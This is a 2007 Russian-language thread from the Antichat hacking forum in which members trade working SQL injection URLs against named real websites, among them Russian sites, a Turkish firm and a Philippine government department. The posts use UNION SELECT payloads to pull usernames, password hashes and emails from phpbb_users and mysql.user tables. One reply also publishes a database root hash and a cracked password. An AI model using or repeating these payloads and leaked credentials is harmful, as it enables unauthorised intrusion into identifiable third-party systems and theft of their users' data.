HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

sql-inj
  #1  
Старый 16.05.2007, 11:56
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520

Репутация: 572
Arrow sql-inj

www.razvod.ru (4)
phpbb_users (username, user_password, etc.)
Цитата:
http://www.razvod.ru/woman.php?id=-597+union+select+1,2,3,concat_ws(0x3a,user_id,user name,user_password,user_email),5,6,7,8,9+from+phpb b_users+limit+0,1/*
ps sob@ke
Цитата:
http://www.dancenter.ru/articals.php?id=30'
уже было
 
Ответить с цитированием

  #2  
Старый 16.05.2007, 12:52
Muhacir
Участник форума
Регистрация: 05.10.2006
Сообщений: 133
Провел на форуме:
548338

Репутация: 165
По умолчанию

Код:
http://www.minton.com.tr/html/urun.asp?urun=456465+union+select
есть такая фирма у турок: Minton называется гы. Не смог тейбл подобрать
 
Ответить с цитированием

  #3  
Старый 16.05.2007, 19:00
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Код:
http://www.apahelpcenter.org/articles/article.php?id=-123+union+select+1,version(),user(),4,5/*
P.S. заюзал антибоян только щас... скуля-боян.

Последний раз редактировалось -=lebed=-; 17.05.2007 в 09:11..
 
Ответить с цитированием

  #4  
Старый 16.05.2007, 21:20
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме:
438137

Репутация: 66
По умолчанию

Department of Social Welfare and Development
DSWD Bldg., Constitution Hills, Batasan Complex, Q.C., Philippines
Код:
http://www.dswd.gov.ph/faqdetails.php?id=-1 union select 1,concat(user,CHAR(64),host,CHAR(58), password),3,4,5,6 from mysql.user/*
 
Ответить с цитированием

  #5  
Старый 17.05.2007, 10:03
Muhacir
Участник форума
Регистрация: 05.10.2006
Сообщений: 133
Провел на форуме:
548338

Репутация: 165
По умолчанию

Цитата:
Сообщение от pento  
Department of Social Welfare and Development
DSWD Bldg., Constitution Hills, Batasan Complex, Q.C., Philippines
Код:
http://www.dswd.gov.ph/faqdetails.php?id=-1 union select 1,concat(user,CHAR(64),host,CHAR(58), password),3,4,5,6 from mysql.user/*

root@localhost:299ce3c1618fe6e4

pass:zaq12345
 
Ответить с цитированием

  #6  
Старый 16.05.2007, 21:45
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520

Репутация: 572
Arrow

antigreen.ru
Цитата:
http://antigreen.org/index.php?index=-12+union+select+1,concat_ws(0x3a,user(),version(), database())/*
 
Ответить с цитированием

  #7  
Старый 17.05.2007, 13:19
VampiRUS
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
Провел на форуме:
1106266

Репутация: 366
Отправить сообщение для VampiRUS с помощью Yahoo
По умолчанию

Цитата:
http://www.rosdiplom.ru/readyi2a1a2.asp?id=9966)+or+1=(SELECT+TOP+1+cast(U serName+as+nvarchar)%2B%27%3A%27%2Bcast(Password+a s+nvarchar)%2B%27%3A%27%2Bcast(id+as+nvarchar)+FRO M+%C0%E4%ec%e8%ed%e8%f1%f2%f0%e0%f2%ee%f0%fb)--
Админку найти несмог(, хеши это md5 урезаные до 30 символов, у первых 6 человек один и тот же пароль 123(ещё бы знать его куда воткнуть ), дальше несмотрел
 
Ответить с цитированием

  #8  
Старый 17.05.2007, 15:14
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
По умолчанию

Цитата:
http://boravet.com/yazi.php?id=-1+union+select+1,0x3C68313E2A425241564F2A3C2F68313 E,3,4/*
*BRAVO*

Цитата:
http://spbclub.ru/cgi-bin/group_news/view.pl?id=-1+union+select+1,aes_decrypt(aes_encrypt(concat(lo gin,0x3a,password),0x71),0x71),3,4+from+users+limi t+1,9000/*
красиво

p.s. дальше не копал. пользователей там много mysql.user закрыт.

Последний раз редактировалось p-range; 17.05.2007 в 15:32..
 
Ответить с цитированием

  #9  
Старый 17.05.2007, 16:54
ЛифчиС5СВ
Постоянный
Регистрация: 09.03.2007
Сообщений: 323
Провел на форуме:
1552920

Репутация: 369
По умолчанию

http://doska.911.by
Код:
http://doska.911.by/full_info.php?sid=-1+union+select+1/*
 
Ответить с цитированием

  #10  
Старый 17.05.2007, 17:18
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от ЛифчиС5СВ  
http://doska.911.by
Код:
http://doska.911.by/full_info.php?sid=-1+union+select+1/*
Код:
http://doska.911.by/full_info.php?sid=-1+union+select+convert(concat(version(),char(58),user(),char(58),database())+using+binary)/*
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.